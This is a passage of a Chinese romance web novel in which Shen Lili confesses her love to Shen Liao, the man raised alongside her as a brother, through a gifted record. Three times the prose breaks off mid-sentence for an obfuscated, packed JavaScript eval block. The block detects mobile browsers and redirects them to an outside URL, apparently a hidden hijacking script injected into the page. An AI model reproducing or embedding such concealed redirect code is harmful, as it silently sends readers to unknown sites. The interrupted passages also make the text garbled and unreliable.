烤肉店里热气腾腾,空调的作用聊胜于无。 沈离离打开小风扇对着脸颊吹了一会儿,有点迷茫地看着面前的烤炉。 陈夏安很认真说:“我还挺想不通的,你们为什么还没在一起,这完全就是双向明恋。” 沈离离目光真诚:“其实吧,在最近突然开始对这些事情有所猜测之前,我从来没想过这种可能。” “那现在呢?”陈夏安笑着看向她,慢悠悠地,“在意识到并且得到确认之后呢,你就不想挑破这层窗户纸吗?” “但他是我哥。”她强调。 “他什么时候真的成你哥了?他本来就是陆家人,退一万步讲,你妈妈根本沈君良没有结婚吧,”陈夏安很不可理喻地望着她,“你们顶多算是一起长大,互称兄妹的青梅竹马好吧。” “如果真这样,事情就简单多了,”沈离离说不清楚自己与沈燎之间的复杂关系,简单概括道:“反正,如果我们真在一起了,影响会很不好。” “影响谁了?” “影响……”她一下子被噎住。 “谁都影响不到。”陈夏安一锤定音,“离离,这可是你自己说过的,你从来就不是沈家人,和谁交朋友,和谁结婚,都跟任何人没有关系。” 沈离离顿了半晌,不得不承认:“道理确实是这样。” 陈夏安用酱油刷子给烤肉刷了一遍,香味四溢,她满意地笑了,“所以呢,小宝,想轻松一点,只是谈个恋爱而已,你情我愿就够了。” “这块熟了!”沈离离眼疾手快。 “好哇你,捡漏是吧,跟谁学坏了。”陈夏安作痛心疾首状。 沈离离哈哈大笑,“跟你学的,陈老师。” “跟我学什么了,这恋爱谈明白了吗你?” “怎么不明白,”沈离离吃完,细细品了品,味道实在不错,她继续说道:“就是要学会抛弃顾虑,抢占先机嘛。” 陈夏安笑了,“不错呀,快出师了。说说呗,打算怎么抢?” 沈离离又夹了一块肉,外酥里嫩,鲜香多汁。 “那就……先告白吧。”她琢磨着说。 “很有觉悟嘛。”陈夏安惊喜,打量着满脸平静的沈离离。 “哈哈,”后者忽然发出很苦命的惨笑,“认真的吗,跟沈燎,告白,我?” 陈夏安被她逗得大笑,“相信自己一点,拜托,这又不是什么很难的事情。总要有人先说破,不然就算两情相悦,一直暧昧也没用啊。” 沈离离如同泄气皮球,“你说得倒轻松。我跟沈燎告白,万一被拒绝,连朋友也做不成。” “沈燎又不是杨敬澄,你跟他做什么朋友。” 更何况,难道你真的甘心和他当一辈子的莫名兄妹吗? 沈离离自己在心里问出来。 - 乐队的事算是结束了,四个人在周天晚上约了饭,殷恒喊上了孟月,她和他们也见过好多次,算得上朋友。 沈离离走进包厢时,里面只有杨敬澄一个人。 两人对视,很礼貌地笑了一下,没有多说话。 演出那天后,除了在小群发言,他们私下从没再联系过。沈离离发觉杨敬澄今天没再穿得十分花哨潮流,而是很朴素的T恤和牛仔裤。 两人装作若无其事,僵坐好了一会儿。 直到沈离离憋不住了,忽然出声:“啊对了,点菜了吗?” “点了点了,我刚一来就叫煮上了。”杨敬澄立刻回答。 “行。”她颔首,于是又没话可说了。 沈离离觉得尴尬的不是和杨敬澄单独共处一室,而是他什么也不说,她也想不出话题。 她有点口渴,站起身,想说自己去拿瓶饮料。 就在这时,杨敬澄抬头,音量提高:“离离,你喜欢的人是殷恒吗?” 沈离离呆滞地转过头,看了他两秒,震惊得连话也忘记回了。 “是吗?” “当然不是啊,”她无比费解,“你,不是,你怎么会觉得我喜欢殷恒?他有女朋友啊。” 杨敬澄表情很固执,“他刚加入的那段时间,还没和孟月在一起,那个时候你们俩一直走得很近。” 沈离离:“我和他走得近是因为我哥在国外,他刚好也在那边生活过很多年,所以找他问问关于当地的事情。” “……啊?” “嗯。”沈离离目光从容。 “那你,那你喜欢的人到底是谁,”杨敬澄打量着她,也缓缓站起身,然后苦笑一声,“是拒绝我的借口吗?” 沈离离直视他的眼睛,说:“不是借口。杨敬澄,我是真的把你当好朋友,就算拒绝,说的话也全都是真心实意的。那个人……” “聊什么呢?” 包厢门又被推开,陈夏安笑着走进来,后面还跟着殷恒和孟月。 陈夏安:“刚好在门口碰到他们。你俩怎么来那么早?” 杨敬澄没说话,沉默地坐回去了。 沈离离笑着说:“安安陪我去拿几瓶饮料吧。” “OK啊,等我放个包。” 接下来的夜晚,不再有什么特别之处,几个人说说笑笑,在一片欢乐的氛围里吃完了这顿饭。 饭后,陈夏安提议去KTV唱歌喝酒,大家都没意见。 一群人除了孟月,都算是玩音乐的,整晚都在抢话筒唱歌,不唱的就坐到沙发里玩游戏喝酒。 杨敬澄一边喝,一边霸占麦克风,连着唱了三首伤心情歌。 陈夏安笑他:“你得了啊杨敬澄,搞得像失恋了一样。” 孟月看看杨敬澄,又看看一旁故作镇定吃零食的沈离离,冷静分析道:“就是失恋了吧?” 陈夏安给她竖了个大拇指,小声说:“厉害,一猜就准。其实是单方面被拒绝了。” 孟月恍然大悟,随即再次不解:“这应该很正常吧。”她想了想,说:“我一开始也没想过殷恒会喜欢我。” 陈夏安笑起来,眼睛都眯缝了,“就是就是,明明很正常,非搞得像生离死别似的。” 沈离离握着筷子,安静地吃狼牙土豆,分神听她们的话。 殷恒终于听腻了悲伤情歌,上前去抢麦克风。两个男生为情歌演唱权“大打出手”,陈夏安和孟月毫不避讳地大声嘲笑。 这一夜宣告结束,是凌晨十二点。 有了上一回的经验教训,每个人都没有喝太多。 没有星光的深夜,行人车辆来来往往。 五人全都沉默地站或蹲在路边,带了点不易察觉的分别前惆怅。 殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321106|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恒原本开了车来,但喝过酒,只能叫司机开回去。五个人打了三辆车,陈夏安和他们都不太顺路。 最终殷恒叫的车先到,他牵着女友,和剩下三人告别。 他们挥挥手,送走了两个人。 接着,是陈夏安。 他们挥挥手,又送走了一个人。 只剩沈离离和杨敬澄,再次相对无言,一站一蹲。 路上车很少,宁静,又带着点热夏的风,并不凉爽,反而依旧闷热,背上粘腻的一层薄汗怎么也吹不干。 沈离离站在路灯下,划拉着手机屏幕,可能是在看车还有多久到。 就算没有纯净的灯光烘托氛围,她也依旧有一张温和宜人的脸。 但当杨敬澄仰头看向她的时候,突然就意识到,有些人的内心就是像钻石一样坚硬的,再柔顺的外表,也无法改变内里的质地。 “车到了,在那边,走吧。” 她收起手机,低头对他说。 “好。”杨敬澄长长舒出一口气,站起身,“谢谢你啊,离离。” “不用,就打个车的事嘛。”沈离离笑了笑。 中途杨敬澄先到家下车,再过去十几分钟,路过了沈燎家在的那片小区,最终才到沈离离家。 她下车,一路慢悠悠地走进小区,再拐弯。 抬起头,忽然瞧见不远不近处的灯光。 沈离离有片刻的疑惑。那不是她家吗? 随后,沈离离的脚步顿住了,变得越来越慢。但打开手机,并没有看见未接来电。一阵恐慌替代了疑惑,飞快爬上心头。 她完全站住脚,盯着自家亮着灯的屋子,立刻给沈燎打了个电话。 只响了几秒,对面接通,传来让她心安的声音:“离离。” 沈离离语速极快:“哥家里好像进贼了,里面亮着灯我现在在外面不敢进去,怎么办要不要报警?” 沈燎沉默两秒,特别耐心地说:“有没有可能是我在家?” “……啊。” 打开门,后面是沈燎憋着笑的脸。 沈离离:“你为什么不提前告诉我,我再也不会原谅你了沈燎。” 沈燎哈哈笑,“明天周一,我以为你回学校了。”他笑完,又微微挑眉,盯住她,“还敢说我,沈离离,大晚上出去喝酒,回来那么晚,还不打算跟我说一声,嗯?” 沈离离进门,低着头换鞋,“你也说了那么晚了,我干嘛还要打扰你。” “我是你哥,再晚也不是打扰,知道吗。” “你又来了。今晚怎么想到来这边?” “回来看一些资料,太多,懒得带过去。” “哦。” 换鞋进了屋子,沈燎给她递来小杯热牛奶。 “哥,”她接过,忽然想到什么,抬头看向他,“跟你说个事。” “什么?” “我今晚是和我那个朋友一起回来的,”她轻咳一声,补充:“就是上次,跟我告白的那个男生。” 沈燎没说话,眉心蹙起,表情也渐渐冷下来。 他靠在柜子旁边,好整以暇地望着她,“嗯,然后呢?” 沈离离仔细看他的神色,试图分辨其中的情绪。 “然后……我突然想清楚了一件事,”她把包包挂起来,然后一步步退向沙发,笑望着他,“机会不是等来的,被接受还是被拒绝,都要有个前提——迈出第一步。” 沈燎冷笑一声,“确实。你是觉得他还挺让人敬佩的?” “不是他,是他的做法。” 他脸上彻底没了表情,锐利的目光片刻不移,只剩嘴角还挂着似有若无的笑意。 “所以?” 沈离离喉间干燥,轻轻吞咽了一下,说:“所以,我也打算跟我喜欢的人告白。” 25. 第 25 章 对于这句话,沈燎一时间不知道应该先抓哪个重点。 她什么时候有了个喜欢的人? 还有,她要告白? 他几乎不用多问其他信息,只要她说了,很大可能会成功。 世界上有人能够拒绝沈离离么? 沈燎大脑宕机,一片空白,就听见她接着说:“哥,你呢?” “什么?” 她用半开玩笑的口吻:“我可听云天哥说了,你有喜欢的人。” 他移开眼,也动身,坐到沙发里,“别听他瞎说。” 沈离离:“是瞎说么?我感觉挺真的。” 沈燎没回。 过了一会儿,他缓慢出声道:“离离,谈恋爱的事情,我觉得,你这个年纪不用着急。” 沈离离抬眸看向他。 沈燎:“喜欢是喜欢,对方不一定能一直对你好。你还小,可以再——” “我已经二十多了,”沈离离很温和地打断了他,“哥,我不小了。更何况,恋爱和结婚是两码事,没有你想得那么严重。” “……是,确实是两码事。”沈燎张了口,却无话可说。 心脏又挤又闷,像是被关在狭窄的笼子里,连正常跳动都有点困难。 怎么会心慌成这样?他是在害怕吗。 沈燎不动声色地深呼吸着,却发现不起丝毫作用,心脏闷得他非常难受。 沈离离的声音又响起:“哥哥,你能答应我一件事吗?” “能,你说。”他应声抬头。 因为他毫不犹豫的态度,沈离离滞住两秒,才说:“不管我告白成不成功,你都会第一时间知道的。所以,能不能答应我,如果是坏的结果,你不要安慰我,直接把我骂醒就好了。” 这一回,沈燎依旧没有应声,更像是用沉默代表同意。 回房间前,沈离离问了他明早几点起床,然后才道晚安。 沈燎发觉自己睡眠质量时好时坏。 被沈离离邀请去学校看动画短片那天过后,他每晚倒头就睡,夜夜无梦。但从演出那晚直到今天,整个周末,他已经连着失眠两个晚上。 今夜恐怕会接着失眠。 他花费很长时间,才说服自己,爱也是命运的一部分。 沈离离的一句话,就光速把他打回起点,爬也爬不起来了。 该怎么继续骗自己,或者可以说是,安慰自己呢? 这份心意从意识到的那天,直到现在,也不过三四年,但却像是过了一生那样漫长。而如今,这一生即将结束。 被宣判死亡之后,假如能彻底心死,倒还算是个不好不坏的结局,但假如仍留有一丝永消不灭的残魂,那才是要折磨他一辈子了。 第二天睁眼,从床上坐起来,沈燎头疼得受不了,脑袋昏昏沉沉,像熬了通宵只睡两个小时一样。 不过现在已经和年少轻狂四个字彻底断绝关系了,他一点也不享受这种混乱感。 洗漱完,走出房间,屋子里空荡荡,没有声音。 才八点多,离离走那么早?她自己打车,还是挤地铁? 沈燎思绪停住,打开手机,准备发消息问问她。 沈离离:哥,茶几桌上有个盒子,送你的!【开心小熊】 是一个小时前发的。起那么早,不太像她的作风。 沈燎边下楼,边回:ok,我现在就去看,怎么突然想到送东西给我?无事献殷勤? 发过去,又接着打字:你到学校了吗?怎么走那么早。 他指尖一顿,盯着上面那条消息看了会儿,拇指落下,又一个个删除了框里的字。 静悄悄的客厅,只有沈燎趿拉拖鞋的声音。他走过去,看见了茶几桌上的那个盒子,沈离离口中送他的东西。 她还没回消息,不知道里面是什么。 沈燎看看时间,坐下来,十分郑重且耐心地把包装撕开。礼物纸花花绿绿的,是小熊印花,很符合他对沈离离喜好的刻板印象。 想到这,唇角忍不住勾了勾。 打开盒子,往里面一看,似乎是……唱片? 上面有一张便签纸,同样是沈离离最爱买的那种,有卡通小熊图案。 纸上写着:No.2 什么意思? 沈燎有点迷茫,想了想,小心细致地收起了唱片。 - 从教室走出来,迎面就是一阵热风,烈日当空,连风也裹挟着滚烫的温度。 沈离离背着书包走回宿舍。 距离给沈燎送唱片已经过去三天,再来一天,她语言考试的成绩都要出了,告白结果还是待录取。 他们每天都会闲闲地聊天,分享或吐槽日常,虽然大部分时候还是沈离离在说。 但沈燎丝毫不提唱片的事情。 怎么回事?是哪里出了差错吗。 接受还是拒绝,拒绝的理由,这些难道不应该说清楚吗。 带着几分茫然,沈离离长叹一声,慢吞吞打开手机,连接蓝牙耳机播放音乐。她故意走了人少的一条路,虽然远了点,但可以悠闲散一会儿步。 六月,正是海文天气最好的时候,完全进入夏季,但不至于太热。走在树荫下,无人的道路上,风吹来也带着花香。 沈离离走着,甚至产生几分苦中作乐的心情。 不过,这惬意并没有持续太久,前方好像出了点状况。 是有点熟悉的人和声音,走近些看过去,树下站着一对情侣,似乎在闹分手,女孩边哭边诉苦,对面的男生双手叉腰,扭头朝另一边。 男生说:“你闹够了没有。” 女孩愤怒地扬起手给了他一巴掌,“我闹?是我的问题吗!” 巴掌力道其实并不重,男生也完全能躲开,但他没动,只是脑袋偏了一点角度。一下子抬眼,看见沈离离。 视线对上了。沈离离尴尬得想拔腿就跑。 居然是杨敬澄。 他也怔在原地,发愣,不知道该说什么。 沈离离深吸一口气,朝他飞快点了个头当做打招呼,加快脚步绕过纷争,往前走去。 把那两人甩在身后,且没再听见杨敬澄的声音,她才放缓了脚步。 更加茫然。 这个世界怎么了,她是穿越了吗,怎么全都不太对劲的样子。 沈离离想想,掏出手机,把这事和陈夏安说了一下,表示唏嘘。 陈夏安:这事我知道,那姑娘追杨敬澄很久了,应该就是你拒绝他的第二天,他转头就跟人家在一块了,现在估计是女生发现杨在敷衍她。这才几天呢。 沈离离心情复杂。 但这事其实跟她也没什么关系,只是恰好撞上,四目相对时有几分尴尬而已。 不过,好像从上个周末过去,身边很多东西都变得不大符合她原本的印象了。 陈夏安在问她,告白是否顺利。 这是个让人伤心的话题。 沈离离:没有回应。他什么都没有说。 陈夏安:不对吧?不应该呀,沈燎居然是那么懦弱的人??? 过了会儿,陈夏安问她:你是怎么跟他说的?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321107|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈离离如实相告:我不好意思当面说,就用了比较迂回的战术。 陈夏安:有多迂回呢? 陈夏安:我好像已经有点预感了你的战术…… 沈离离答:我送了他唱片,就寒假那次,我们俩乱逛一起买到的那张。我让他去听LoveOfMyLife,是不是意思很明显了? 接着,她悲伤地发去语音:“但他这几天完全没跟我主动提这件事。我是不是被拒绝了?” 陈夏安恨铁不成钢:“我沈姐啊,你要不直接去问问他呢,这个也太迂回了吧!” “被直截了当地拒绝不是会更惨,有没有可能,他回避的意思就是拒绝?” “没可能,你相信我,你哥那种人,要真对你没意思,也肯定舍不得看你纠结。” 沈离离:那我……去问问。 沈离离熄灭手机屏幕,坚定地注视着前方道路。没坚定几分钟,脑袋里想着各种各样的可能性之后,又蔫下来了。 果然,她完全就没有勇气直接问出来。 四下无人,安静得只有脚步声,以及风声。 她在脑内措辞半天,一个又一个废稿飘到脑后。 就是在这时,肩膀忽然被拍了一下。 “离离!” 沈离离被吓得一抖,跳出去一米远,猛回头,惊恐地与杨敬澄对视。 杨敬澄同样惊恐:“啊啊对不起!那个,我,不好意思……” “没事没事,”她心有余悸,保持礼貌,摆手说,“刚在想事情,没反应过来。怎么了?” “呃,”杨敬澄摸了摸后颈,“就,刚看你走过去,想着来打个招呼。你……考试怎么样了?” “明天才出成绩,到时候再看吧,现在想什么都是不确定的。” “那倒是。”他点点头。 沈离离悄悄往他身后瞟了眼,没看到刚才的女孩子。 杨敬澄又接着说:“那你作品集准备好了吗?” “差不多了,不过后面还需要再完善一下。” 沈离离看出来,他是真没话说了。 她并不打算让人难堪,也没想在这里浪费时间。于是说:“我宿舍还有事,先走了?” “哎等等,”杨敬澄迈出一步,连忙道:“刚才那个,是我一个朋友,闹了点矛盾,没别的关系。” 沈离离缓慢地挑了挑眉。 “哈哈,你跟我解释什么,”她笑说,“没事的,和朋友闹矛盾是很正常的事情,说开就好了。我真要走了,下回见!” 沈离离抢在他再次开口前挥手,随后转身就走。 这回杨敬澄没再跟上来,估计是后知后觉感到尴尬了。 真是奇妙啊,最后一场演出后,从前亲密无间的人也变得陌生了。虽然不知道是哪里出了问题,但沈离离还是有点惆怅的。 这种惆怅,在走回宿舍的漫长的十分钟里,渐渐演变成了某种决心。 她可以接受普通朋友忽然陌路,接受那些或正常或古怪的关系变化,因为那是她没办法左右的。 命运如此强大。 但总有那么一个人,让你舍不得妥协。 校园围墙外种了一排蓝花楹,春天要过去了,蓝花楹也将开败。凋零的花瓣簌簌地飘,融进泥土里,也落到沈离离脚边。 她低头看了一眼,继续往前走。 忽然间,她想,沈燎,我不是你妹妹,也不想和你做朋友。 她又拿起了手机,点开备注为“哥”的聊天框。 沈离离:哥,我们明天下午见一面吧。 26. 第 26 章 周五一早,沈燎估摸着时间,发消息问沈离离语言考试成绩如何。 先是得到了女孩子的一堆兴奋小熊表情包,最后才把成绩发给他看。 沈燎悬着的心悠悠降落,安稳躺在棉花糖上。 他嘴角始终上扬,双手打字给她发恭喜,问她想不想要什么奖励。 沈离离:晚上能按时回家么? 沈燎手指顿住,目光很快扫了一眼电脑屏幕里的文件。 静默思考片刻后,他回:绝对按时到家,谨遵离离长官调遣。 沈离离发来一串哈哈哈。 谁都没想到,最终放鸽子的人,是沈离离。 临时有人找她谈曲子版权,对方给出的条件很诱人,不管卖不卖,她没理由拒绝交流。 收到沈离离的哭泣表情包时,沈燎刚回到家,笑了笑,回复她:没事啊,又不差今天这一顿饭。明天再见? 沈离离:我有很重要很重要的事情,想和你说。 沈燎正色,问她:什么事?很急的话,手机上说也没关系。 像是某种冥冥之中的预感,沈燎猜到,估计是和上周说到的那个告白有关。宣判生死与否的时间,终于快到了。 沈离离没回复,不知道是不是在忙。 过了一会儿,她才问了句:哥,你听了吗?送你的那张唱片。 播放器恰好就在手边,沈燎看了眼,起身去打开。也是受沈离离影响,他这屋子里,什么东西都可以随便买,只有音响必须追求高品质。 沈燎:放心,听了,从周末一直听到今天。感觉很不错,我记得这是你最喜欢的摇滚乐队? 沈离离:嗯嗯。我让你听的那首,也听了? 沈燎:哪首? 什么意思,怎么突然这么问。 沈燎缓慢地坐直身体,捧着手机,等待回复。 几秒后,沈离离:第二首呀。听完,你就没什么想和我说的么? 沈燎:?原来No.2是这个意思啊,我顺着放的,应该全都听过了。怎么了,突然想听纯外行点评经典摇滚乐? 这回,沈离离再次没了动静,昵称下面都没有正在输入的提示。 沈燎没多想,她这会儿估计在忙。 他起身,也走进书房打开电脑,开始忙碌。 钟表上,分针还没走完四分之一,整个屋子只有客厅里的音乐声在响。 文件看了不到一半,沈燎忽然停下了,转头看向窗外。 风和日丽,天气非常好。这小区绿化很到位,甚至有点过头,树木又高又密,像小树林。书房窗户外面就有一棵蓝花楹,春天时满树的花,如今初夏,已经掉得差不多了。 这时候,一片小小的花瓣,懒洋洋,慢吞吞地飘进来,落到桌脚旁,像是伸了个懒腰,要进入沉睡。 春天,真的要结束了。 沈燎维持着这个姿势,好几秒。 然后他突然站起身,朝客厅走去,步子迈得很平常,这小段距离他走过无数回,但只有这一次,陌生得像是刚学会走路。 怎么回事,心跳得好快。 沈燎走到柜子前,寻找随手放进去的唱片盒子。 很快找到,他拿起来,翻看背面的曲目介绍。 ——No.2LoveOfMyLife 音乐还在响着,播的是哪一首,他不太清楚,但肯定不是这个。 他并不记得这些歌曲的顺序,只是在直觉之中认为,沈离离希望他听的,肯定不是现在播放的那首。 沈燎去切歌了。 然后就响起了大概二十秒的,温柔的钢琴前奏,主唱用一种深情又缠绵的声音,开始吟唱这首情歌。 沈燎拿着手机,站在原地,就这样呆住了。 他不知道自己应该如何猜测,不知道自己现在应该想些什么,也不知道自己这一刻的震动是不是正确的。 这更像是沈离离开的玩笑。 像以前那样,等着他欠揍地说,怎么,是忽然良心发现,要向你哥表达一下爱意了? 然后她就朝他做个鬼脸,说沈燎你怎么那么自恋,我只是分享一首歌诶。 如果真是这样,那这个玩笑,他当真了,输得心服口服。 - 谈完合作,已经晚上七点半,对方说请她吃饭,不好意思耽误她那么长时间。 沈离离笑着婉拒了。 走回街道上,她饿得不行,随便挑了家看着人很多的馄饨店。 现在到哪都是扫码点餐,沈离离认为此功能还是很好用的,特别是对于她这样的“社恐”人士,可以减少很多不必要的社交能量消耗。 自己对着手机纠结,相比被服务员注视着纠结,可真是太好了。 刚点完,提交订单,乍一抬头,她就瞅见了一张熟悉的脸,并与对方对视上。 竟然是刚才谈合作的男人。 沈离离有点想立刻晕倒。 这两天遇到的尴尬事情已经够半年的量了。 沈离离很礼貌地朝他笑了一下。 方博走进来,很惊喜的样子,“沈小姐,没想到啊,才过去几分钟,又遇上了,我们还挺有缘分。” “哈哈哈,是的,真没想到。” 居然真就这么走进来,还在她对面坐下了。 “这家你常吃吗?味道怎么样?既然遇上,那正好一起。” 方博戴着黑色方眼镜,穿了一件非常板正的休闲西装,配了小裤的牛仔裤。如果是陈夏安看到,大概会表情一言难尽地评价这是老古董商务穿搭。 沈离离不大自在地清了清嗓子,“我也没吃过,随便选的。” “那正好,咱们一块尝尝。”他热情地说。 沈离离笑着点头,无话可回。 晚饭是个微妙的场合,特别是谈完正事之后接着就吃的这顿晚饭。 再聊正事,自然不合时宜,但两个有利益关系的成年人,也不好什么都不讲,于是自然而然地,没有营养的闲聊开始了。 方博:“我记得沈小姐你就是海文人吧?” 沈离离:“算是吧,户口在这边。” “哦哦,你家就在这儿,今天不是周末吗,怎么没打算回家?” “有点远,明天学校里还有事,懒得跑回去。您是这边的人吗?” “哦哦,我不是,我家在西南,不过来这边时间也长了,都两年没回过老家了,说起来还真想念那边的饭菜。” ……像洪水一样冲过来的闲聊简直无穷无尽。 馄饨一上来,沈离离飞速吃完,终于得以逃离尴尬地狱。 找好借口,起身离开前,方博忽然喊住她:“沈小姐,我听说你明年要去海外发展了?” 沈离离顿了顿,“只是出去读书,应该还会回来这边的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324091|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方博:“你很有影视配乐的天赋,但好的环境难找。” 她对上他认真的眼神,愣了一秒,随后,也回以同样的郑重,点头致谢,“我会好好考虑的。” 从馄饨店走出来,天已经完全黑下去了。 方博说的话不无道理,沈离离也想过很多回,考虑过很多更值得去的地方,无论从哪方面看,她的前途,她想要的东西,都已经在将她导向那条路。 可是人之所以幸福和惆怅,可能都是因为总有牵挂。 这世界那么大,他们面临那么多选择,没有人能笃定哪一条路就是对的,走下去准没错。 只有最幸运的人,天生知道自己该走什么路。 沈离离仰起头,看到漫天繁星。这是海文夜晚难得的星空,说明明天会是好天气。 她掏出手机,拍了张照,发给沈燎。 沈离离:快看,好多星星,那一片特别像一只小熊。 沈燎:哪片?我怎么看不出来。 沈离离用编辑工具给他把图片里的“小熊”圈了出来。 沈燎:哈哈哈,确实像,沈离离同学,眼睛怎么那么亮呢。 沈离离:哼哼,我是谁呀。 拿着手机,低头看着屏幕里的字,甜蜜和酸涩再次同时出现,交织不清。 沈燎站起身走向阳台,也打开相机,给她拍了张星空,说:同一片夜空下面,算不算一起欣赏夜景了? 沈离离回他:不算,不在身边,不能算的。 沈燎停顿了一会儿,手肘撑在阳台上吹风,手机放在一旁。 宁静的深夜,一个人的阳台上,只有手机屏幕亮着白光。 学会珍惜初夏夜晚的风,是沈离离深感赞同的事情。 春夜潮湿,不免有凉意,盛夏燥热,连风都带着烘烤的感觉。只有初夏,站在春夏交接的路口,温润地包容所有。 她悠闲走在校园里,还是那条路,还是那排蓝花楹,脑子里装的也还是那个人,不同的是,她的心似乎已经不再忐忑。 手机忽然响了一声。 沈燎:离离,那首歌,你喜欢吗? 手机很快响了一声。 沈离离:很喜欢,而且希望你也喜欢。 沈燎盯着手机屏幕,亮光反射在眼睛里。风吹着,但他还是觉得自己已经没法清醒,昏了头了。 沈燎:如果我说我也喜欢呢? 沈离离:喜欢那首歌吗,那我会很开心的。安利成功! 他低头一笑,在晚风中又缓缓抬起头,迎面吹了好久。不知名的花香味飘过来,他识别不出是什么花,脑子里已经空了,什么都没办法思考,全部是她。 沈离离:你现在在干什么? 沈燎:吹风,你呢? 沈离离:我也是,那看来我们在吹一样的风。 沈燎:这回怎么不说不在身边,不算一样了? 沈离离:因为看风景和吹风是不一样的,不同的时间空间,看见的东西肯定不同。但风的话,吹过我的头发的那一缕,可能也吹过你的下巴哦。 沈燎忽然觉得下巴有点痒。 他忍不住地笑,唇角压不下去,也没必要压。 良久,似乎连风也快要吹完一轮。 沈离离说:“哥,你会拒绝我么?” 他安静地低头看着那行字,在想,这个世界上,有人能拒绝沈离离吗? 27. 第 27 章 回到宿舍,空无一人,照舍友张紫苏的话说,周末的夜晚不叫夜晚,叫夜生活。 对此,沈离离不敢苟同,她认为周末最好的安排应该是躺在家里看电影。 入夜,她熄灭手机屏幕,洗漱好,爬上床找了个电影看——强行转移注意力的法子。 明天…… 距离明天,还有好几个小时,漫长得像是好几年。 沈离离看一会儿,走神一会儿,思绪并不受控制,脱缰野马似的。 直到她浑浑噩噩地看完一部爱情片,后知后觉,发现此片居然拍得如此之烂,廉价的特效,俗气的剧情…… 沈离离昏昏欲睡,有点埋怨自己挑片子太随意,简直称得上浪费了两小时。 不过转念一想,今晚的时间,好像怎么过都不算浪费。或许是因为有所期待,所以等待的时间都成了煎熬,只要能熬过去,用什么法子都无所谓了。 睡着前,又打开手机,盯着聊天记录看。 沈燎:明天中午我来找你,当面说。 沈燎:放心,永远不会。【回复:哥,你会拒绝我么?】 - 人在夜晚脑子会变得不太清醒,往往容易做出错误的决定。 每当做出这种决定之后,第二天醒来总是后悔莫及,无奈中还透露着一丝丝绝望。 不过,沈离离清晨睁开眼睛,盯着宿舍床帘发呆的时候,最先感受到的不是后悔,还是期待。 期待到脑子里越想这件事,心脏越不停地怦怦跳。 这一刻她就知道自己没救了。 熬夜到两点才关闭手机躺进被窝,闭着眼睛,仍旧睡不着。沈离离不记得自己真正入眠的时间,但醒来的时候,已经是中午十二点多。 她迷迷蒙蒙地睁开眼睛,半梦半醒,眼皮发涩,太阳穴跳痛不止,感觉闭上眼睛就能再睡着。 她伸手去枕头下面摸手机,摁亮屏幕,眯着眼,看时间。 一秒,两秒…… 沈离离顿时睁大眼睛,从床上一跃而起。 沈燎:我在你们学校门口,上次那道门。 时间是一个小时前。 这人怎么电话也不打一个,干等那么久,认真的吗? 沈离离满脑子只顾得上心疼他,懒得仔细打扮,洗漱完换了衣服就往楼下冲。边跑边拨了电话过去,不出所料,他很快就接通。 “现在才起床?” 沈离离喘着气,回答:“嗯……昨天睡晚了,也没定闹钟。你还在学校门口吗?” “在,你慢慢过来,不用着急。”他声音倒是很平和。 沈离离自然做不到慢慢过去。她飞速赶往校门方向,跑出去四处看了一圈,目光很快就锁定在一个角落。 沈燎就坐在校门外的花坛前面,正拿着手机低头打字,似乎是在回消息。 清晨的太阳,柔和的光芒,照耀着他。 而他坐在姹紫嫣红的花坛前面,脸上没什么表情,微微眯着眼,看起来有点冷淡。 她深呼吸几次,缓缓走过去,喊了声,“哥。” 沈燎抬头,四目相对。 沈离离忍不住打量了他两秒。 他今天穿得很简单,深蓝格子的衬衫外套,阔腿牛仔裤,以及很青春的匡威帆布鞋,简约清爽。这回已经不像男大,更像男高了。 她起床起得匆忙,也穿得非常随意,随手拿的牛仔裤和短袖,套了件鹅黄色的小外套。没想到反而搭出一身清秀休闲味。 这样看,他们两人今天很默契地青春洋溢了一下。 沈燎站起身,不知从哪掏出了一束花,递给沈离离,“来的路上买的,很新鲜,应该能放几天。” 她讷讷地接过来。一看,满眼都是碎冰蓝玫瑰,还点缀了白色满天星,没有漆味,全部是花香,美丽非凡。 沈离离的母亲关女士很喜欢浓烈艳丽的东西,即使有时过于华丽,她也爱得甘之如饴。她人生中最温和保守的部分,大概是恋人沈君良。 而沈离离自己呢,和母亲恰恰相反。她不是个热衷探索和冒险的人,只渴望那些唯一的,最好永恒不变的真理,即使像白开水一样寡淡也没关系,只要安全就好了。 一腔孤勇地喜欢上沈燎,可能算是她此生最大胆的决定之一。 因为这是一件具有极强不确定性的事情,比出国学习,比和朋友一起搞乐队,都要未知得多。并不是努力了,就能达成目标,所以事先就必须做好一无所获的准备。 可是当爱出现,像洪水一样涌过来的时候,真的有人可以仅仅用理智当做阀门将它关闭吗。 